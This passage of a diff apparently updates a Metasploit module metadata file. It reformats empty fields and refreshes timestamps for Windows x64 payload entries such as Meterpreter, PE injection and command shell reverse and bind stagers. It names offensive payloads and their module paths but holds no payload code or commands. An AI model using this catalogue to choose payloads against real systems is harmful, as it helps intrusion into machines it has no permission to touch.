{}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261243,9 +262372,7 @@ "payload_windows/x64/meterpreter/bind_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261265,15 +262392,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261284,9 +262410,7 @@ "payload_windows/x64/meterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261310,15 +262434,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261329,9 +262452,7 @@ "payload_windows/x64/meterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261351,15 +262472,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261370,9 +262490,7 @@ "payload_windows/x64/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261392,15 +262510,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-16 12:48:57 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261411,9 +262528,7 @@ "payload_windows/x64/meterpreter/reverse_https": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261436,15 +262551,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-16 12:48:57 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261455,9 +262569,7 @@ "payload_windows/x64/meterpreter/reverse_named_pipe": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261477,15 +262589,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261496,9 +262607,7 @@ "payload_windows/x64/meterpreter/reverse_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261518,15 +262627,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261537,9 +262645,7 @@ "payload_windows/x64/meterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261563,15 +262669,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261582,9 +262687,7 @@ "payload_windows/x64/meterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261604,15 +262707,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261623,9 +262725,7 @@ "payload_windows/x64/meterpreter/reverse_winhttp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261645,15 +262745,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261664,9 +262763,7 @@ "payload_windows/x64/meterpreter/reverse_winhttps": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261686,15 +262783,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261705,9 +262801,7 @@ "payload_windows/x64/meterpreter_bind_named_pipe": { "name": "Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/windows/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261727,15 +262821,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter_bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261744,9 +262837,7 @@ "payload_windows/x64/meterpreter_bind_tcp": { "name": "Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/windows/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261765,15 +262856,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261782,9 +262872,7 @@ "payload_windows/x64/meterpreter_reverse_http": { "name": "Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/windows/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261803,15 +262891,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261820,9 +262907,7 @@ "payload_windows/x64/meterpreter_reverse_https": { "name": "Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/windows/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261841,15 +262926,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261858,9 +262942,7 @@ "payload_windows/x64/meterpreter_reverse_ipv6_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/windows/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261879,15 +262961,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261896,9 +262977,7 @@ "payload_windows/x64/meterpreter_reverse_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/windows/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261917,15 +262996,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261934,9 +263012,7 @@ "payload_windows/x64/peinject/bind_ipv6_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261954,15 +263030,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261973,9 +263048,7 @@ "payload_windows/x64/peinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261994,15 +263067,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262013,9 +263085,7 @@ "payload_windows/x64/peinject/bind_named_pipe": { "name": "Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262033,15 +263103,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262052,9 +263121,7 @@ "payload_windows/x64/peinject/bind_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262072,15 +263139,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262091,9 +263157,7 @@ "payload_windows/x64/peinject/bind_tcp_rc4": { "name": "Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262116,15 +263180,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262135,9 +263198,7 @@ "payload_windows/x64/peinject/bind_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262156,15 +263217,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262175,9 +263235,7 @@ "payload_windows/x64/peinject/reverse_named_pipe": { "name": "Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262195,15 +263253,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262214,9 +263271,7 @@ "payload_windows/x64/peinject/reverse_tcp": { "name": "Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262234,15 +263289,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262253,9 +263307,7 @@ "payload_windows/x64/peinject/reverse_tcp_rc4": { "name": "Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262278,15 +263330,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262297,9 +263348,7 @@ "payload_windows/x64/peinject/reverse_tcp_uuid": { "name": "Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262318,15 +263367,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/peinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262337,9 +263385,7 @@ "payload_windows/x64/pingback_reverse_tcp": { "name": "Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/windows/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262347,24 +263393,21 @@ "bwatters-r7" ], "description": "Connect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262373,9 +263416,7 @@ "payload_windows/x64/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", "fullname": "payload/windows/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262401,8 +263442,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262411,9 +263451,7 @@ "payload_windows/x64/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", "fullname": "payload/windows/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262432,15 +263470,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/powershell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262449,9 +263486,7 @@ "payload_windows/x64/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", "fullname": "payload/windows/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262477,8 +263512,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -262487,9 +263521,7 @@ "payload_windows/x64/shell/bind_ipv6_tcp": { "name": "Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262497,24 +263529,21 @@ "sf " ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262525,9 +263554,7 @@ "payload_windows/x64/shell/bind_ipv6_tcp_uuid": { "name": "Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262536,24 +263563,21 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262564,9 +263588,7 @@ "payload_windows/x64/shell/bind_named_pipe": { "name": "Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262575,24 +263597,21 @@ "UserExistsError" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262603,9 +263622,7 @@ "payload_windows/x64/shell/bind_tcp": { "name": "Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262613,24 +263630,21 @@ "sf " ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262641,9 +263655,7 @@ "payload_windows/x64/shell/bind_tcp_rc4": { "name": "Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262656,24 +263668,21 @@ "RageLtMan" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/shell/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262684,9 +263693,7 @@ "payload_windows/x64/shell/bind_tcp_uuid": { "name": "Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262695,24 +263702,21 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -262723,9 +263727,7 @@ "payload_windows/x64/shell/reverse_tcp": { "name": "Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -262733,24 +263735,21 @@ "sf " ], "description": "Spawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], 